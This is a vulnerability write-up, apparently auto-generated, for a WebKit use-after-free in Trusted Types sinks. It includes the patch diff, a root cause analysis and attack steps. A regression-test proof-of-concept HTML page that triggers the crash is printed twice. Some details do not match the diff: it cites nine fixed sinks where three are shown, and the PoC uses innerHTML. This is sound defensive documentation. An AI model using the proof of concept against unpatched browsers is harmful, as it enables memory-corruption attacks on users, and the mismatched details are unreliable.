CVE-2026-64787
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected process termination
Researchers: 杉山 壮太, Shubham Chaskar
Key insight. Trusted Types introduced a new synchronous JavaScript re-entrancy point (the default policy callback) at existing HTML sinks, but the callers still passed a bare, unprotected contextDocument() across it — the fix is to protect() the document at each sink so the long-standing ‘hold a raw Document across a call that can run script’ pattern is made safe.
Patch Details
diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
new file mode 100644
index 000000000000..fa64fd64ba1b
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
@@ -0,0 +1,3 @@
+This test passes if WebKit does not hit assertions or crash under ASAN
+
+PASS
diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
new file mode 100644
index 000000000000..05a5d282b2ca
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
@@ -0,0 +1,44 @@
+<!DOCTYPE html>
+<html>
+<body>
+<script>
+if (window.testRunner && window.GCController) {
+ testRunner.dumpAsText();
+ testRunner.waitUntilDone();
+
+ targetElement = document.createElement('div');
+
+ let iframe = document.createElement('iframe');
+
+ iframe.srcdoc = `<!DOCTYPE html>
+ <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for \'script\'">
+ <body><script>document.body.appendChild(parent.targetElement); parent.innerTrustedTypes = trustedTypes;</` + 'script>';
+
+ iframe.onload = () => setTimeout(() => {
+ TrustedTypePolicyFactory.prototype.createPolicy.call(window.innerTrustedTypes, 'default', { createHTML: function () {
+ document.adoptNode(targetElement);
+ iframe.remove();
+ iframe = null;
+ GCController.collect();
+ } });
+ window.innerTrustedTypes = null;
+
+ GCController.collect();
+ try {
+ targetElement.innerHTML = 'x';
+ } catch (e) {
+ e.toString();
+ }
+
+ document.body.innerHTML = '<p>This test passes if WebKit does not hit assertions or crash under ASAN</p>PASS';
+
+ testRunner.notifyDone();
+ }, 0);
+
+ document.body.appendChild(iframe);
+} else
+ document.write('<p>This test requires testRunner and GCController</p>');
+
+</script>
+</body>
+</html>
\ No newline at end of file
diff --git a/Source/WebCore/dom/Document.cpp b/Source/WebCore/dom/Document.cpp
index 265e99637419..9ee254aa0d89 100644
--- a/Source/WebCore/dom/Document.cpp
+++ b/Source/WebCore/dom/Document.cpp
@@ -1229,7 +1229,7 @@ void Document::setMarkupUnsafe(const String& markup, OptionSet<ParserContentPoli
ExceptionOr<Ref<Document>> Document::parseHTMLUnsafe(Document& context, Variant<Ref<TrustedHTML>, String>&& html)
{
- auto stringValueHolder = trustedTypeCompliantString(context.contextDocument(), WTF::move(html), "Document parseHTMLUnsafe"_s);
+ auto stringValueHolder = trustedTypeCompliantString(protect(context.contextDocument()), WTF::move(html), "Document parseHTMLUnsafe"_s);
if (stringValueHolder.hasException())
return stringValueHolder.releaseException();
@@ -4562,7 +4562,7 @@ ExceptionOr<void> Document::write(Document* entryDocument, FixedVector<Variant<R
}
String textString = text.toString();
- auto stringValueHolder = trustedTypeCompliantString(TrustedType::TrustedHTML, contextDocument(), textString, lineFeed.isEmpty() ? "Document write"_s : "Document writeln"_s);
+ auto stringValueHolder = trustedTypeCompliantString(TrustedType::TrustedHTML, protect(contextDocument()), textString, lineFeed.isEmpty() ? "Document write"_s : "Document writeln"_s);
if (stringValueHolder.hasException())
return stringValueHolder.releaseException();
SegmentedString trustedText(stringValueHolder.releaseReturnValue());
@@ -7853,7 +7853,7 @@ ExceptionOr<bool> Document::execCommand(const String& commandName, bool userInte
[&commandName, this](const String& str) -> ExceptionOr<String> {
if (commandName != "insertHTML"_s)
return String(str);
- return trustedTypeCompliantString(TrustedType::TrustedHTML, contextDocument(), str, "Document execCommand"_s);
+ return trustedTypeCompliantString(TrustedType::TrustedHTML, protect(contextDocument()), str, "Document execCommand"_s);
},
[](const Ref<TrustedHTML>& trustedHtml) -> ExceptionOr<String> {
return trustedHtml->toString();
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2026-64787 |
| Bugzilla | 313703 |
| Component | WebCore |
| Bug Class | UAF |
| Severity | medium |
| Commit | cb83583e5f4d9553… |
| Advisory | Apple Advisory |
Terminology
- Trusted Types — A CSP-driven mechanism (require-trusted-types-for ‘script’) that forces HTML/script sinks to go through a policy, invoking author JavaScript (createHTML) at the sink.
- Default policy — A Trusted Types policy named ‘default’ whose createHTML callback runs synchronously whenever a guarded sink receives a plain string, giving attacker JS a foothold inside native code.
- Re-entrancy — When native C++ calls back into JavaScript mid-operation; here the sink calls the default policy callback while still holding a bare Document pointer.
- trustedTypeCompliantString — The WebCore helper that validates a string against Trusted Types; it may invoke the default policy (JS) and takes the context Document as a raw pointer.
- contextDocument() — Returns the Document associated with the current context; a bare pointer whose lifetime is not guaranteed across a callback.
- protect() — Wraps an object in a Ref/RefPtr so it is kept alive (ref-counted) across a scope — the fix wraps contextDocument() so it survives the Trusted Types callback.
Root Cause Analysis
This fixes a use-after-free of the context Document across a Trusted Types policy callback. Document::parseHTMLUnsafe(), Document::write()/writeln(), and Document::execCommand() call trustedTypeCompliantString(…, contextDocument(), …), which can invoke a web-author-provided Trusted Types default policy (createHTML) — arbitrary JavaScript. That callback can destroy the context document (the regression test removes the source iframe, adoptNode()s a node, nulls references, and forces GC inside createHTML). Before the fix these call sites passed the raw contextDocument() pointer, so if the callback freed that document the subsequent use dangled, causing the unexpected process termination. The invariant is that a document passed into a routine that can run script must be kept alive for the duration of the call. The fix wraps the argument in protect(contextDocument()) (a Ref/RefPtr protector) in all three call sites, keeping the context document alive across the Trusted Types callback. Fully established by the diff (the protect() helper’s definition is not shown but its protective intent is clear from usage).
Attack Path
1. Set up a Trusted Types default policy
The page (via an iframe with require-trusted-types-for ‘script’) installs a default policy whose createHTML callback runs attacker JavaScript.
2. Free the context document inside the callback
The createHTML callback removes the iframe, adopts nodes across documents, and forces GC so the context document is collected.
3. Invoke a Trusted-Types-guarded API
The page calls Document.write / execCommand(‘insertHTML’) / parseHTMLUnsafe, which passes the (now-freed) raw contextDocument() into trustedTypeCompliantString.
4. Use-after-free
After the callback frees the document, the caller dereferences the dangling contextDocument pointer, terminating the process.
Impact Assessment
The primitive is a use-after-free of the context Document, reached synchronously from Document.write/execCommand/parseHTMLUnsafe when the Trusted Types default policy callback frees the document. It is confined to the sandboxed WebContent process (advisory impact: unexpected process termination), so by itself it is a crash rather than a sandbox escape. Exploitability depends on whether the freed Document allocation can be reclaimed and type-confused before the dangling use (a reclaim-and-confuse UAF) versus only producing a controlled crash; the small, deterministic re-entrancy window and attacker control over the callback make targeted reclamation plausible, which is why it is treated as a memory-safety issue rather than a mere robustness bug.
Audit Directions
Other trustedTypeCompliantString callers
Grep every call to trustedTypeCompliantString(…) in WebCore and confirm each passes a protected document/argument. The fix touched nine sinks; any caller passing contextDocument()/context.contextDocument() or a bare Document* without protect(…) is a candidate variant.
Bare Document across any script-invoking callback
Look for native code that dereferences contextDocument()/document() after calling into anything that can run author JS (Trusted Types policies, custom elements reactions, MutationObserver, event dispatch, promise/microtask drains). The tell: a raw Document*/RefPtr captured before the callback and used after it without a Ref/Protector.
Objects reachable across detached-frame teardown
Audit sinks reachable from a srcdoc/iframe whose document can be adopted away or GC’d inside the callback (as in the PoC: adoptNode + iframe.remove() + GCController.collect()). Any sibling state derived from the document (frame, loader, script controller) may also dangle.
Make the discipline structural
Prefer converting call-site protect() discipline into API signatures that take Ref<Document>/protected references, so the compiler enforces liveness rather than relying on every caller remembering to protect().
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
Document::parseHTMLUnsafe |
Source/WebCore/dom/Document.cpp |
modified | Wraps context.contextDocument() in protect(…) when calling trustedTypeCompliantString so the document survives the Trusted Types callback. |
Document::write |
Source/WebCore/dom/Document.cpp |
modified | Passes protect(contextDocument()) to trustedTypeCompliantString for write/writeln. |
Document::execCommand |
Source/WebCore/dom/Document.cpp |
modified | Passes protect(contextDocument()) to trustedTypeCompliantString on the insertHTML path. |
Files Changed
Source Files
Source/WebCore/dom/Document.cpp
Test Files
LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txtLayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
new file mode 100644
index 000000000000..fa64fd64ba1b
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
@@ -0,0 +1,3 @@
+This test passes if WebKit does not hit assertions or crash under ASAN
+
+PASS
diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
new file mode 100644
index 000000000000..05a5d282b2ca
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
@@ -0,0 +1,44 @@
+<!DOCTYPE html>
+<html>
+<body>
+<script>
+if (window.testRunner && window.GCController) {
+ testRunner.dumpAsText();
+ testRunner.waitUntilDone();
+
+ targetElement = document.createElement('div');
+
+ let iframe = document.createElement('iframe');
+
+ iframe.srcdoc = `<!DOCTYPE html>
+ <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for \'script\'">
+ <body><script>document.body.appendChild(parent.targetElement); parent.innerTrustedTypes = trustedTypes;</` + 'script>';
+
+ iframe.onload = () => setTimeout(() => {
+ TrustedTypePolicyFactory.prototype.createPolicy.call(window.innerTrustedTypes, 'default', { createHTML: function () {
+ document.adoptNode(targetElement);
+ iframe.remove();
+ iframe = null;
+ GCController.collect();
+ } });
+ window.innerTrustedTypes = null;
+
+ GCController.collect();
+ try {
+ targetElement.innerHTML = 'x';
+ } catch (e) {
+ e.toString();
+ }
+
+ document.body.innerHTML = '<p>This test passes if WebKit does not hit assertions or crash under ASAN</p>PASS';
+
+ testRunner.notifyDone();
+ }, 0);
+
+ document.body.appendChild(iframe);
+} else
+ document.write('<p>This test requires testRunner and GCController</p>');
+
+</script>
+</body>
+</html>
\ No newline at end of file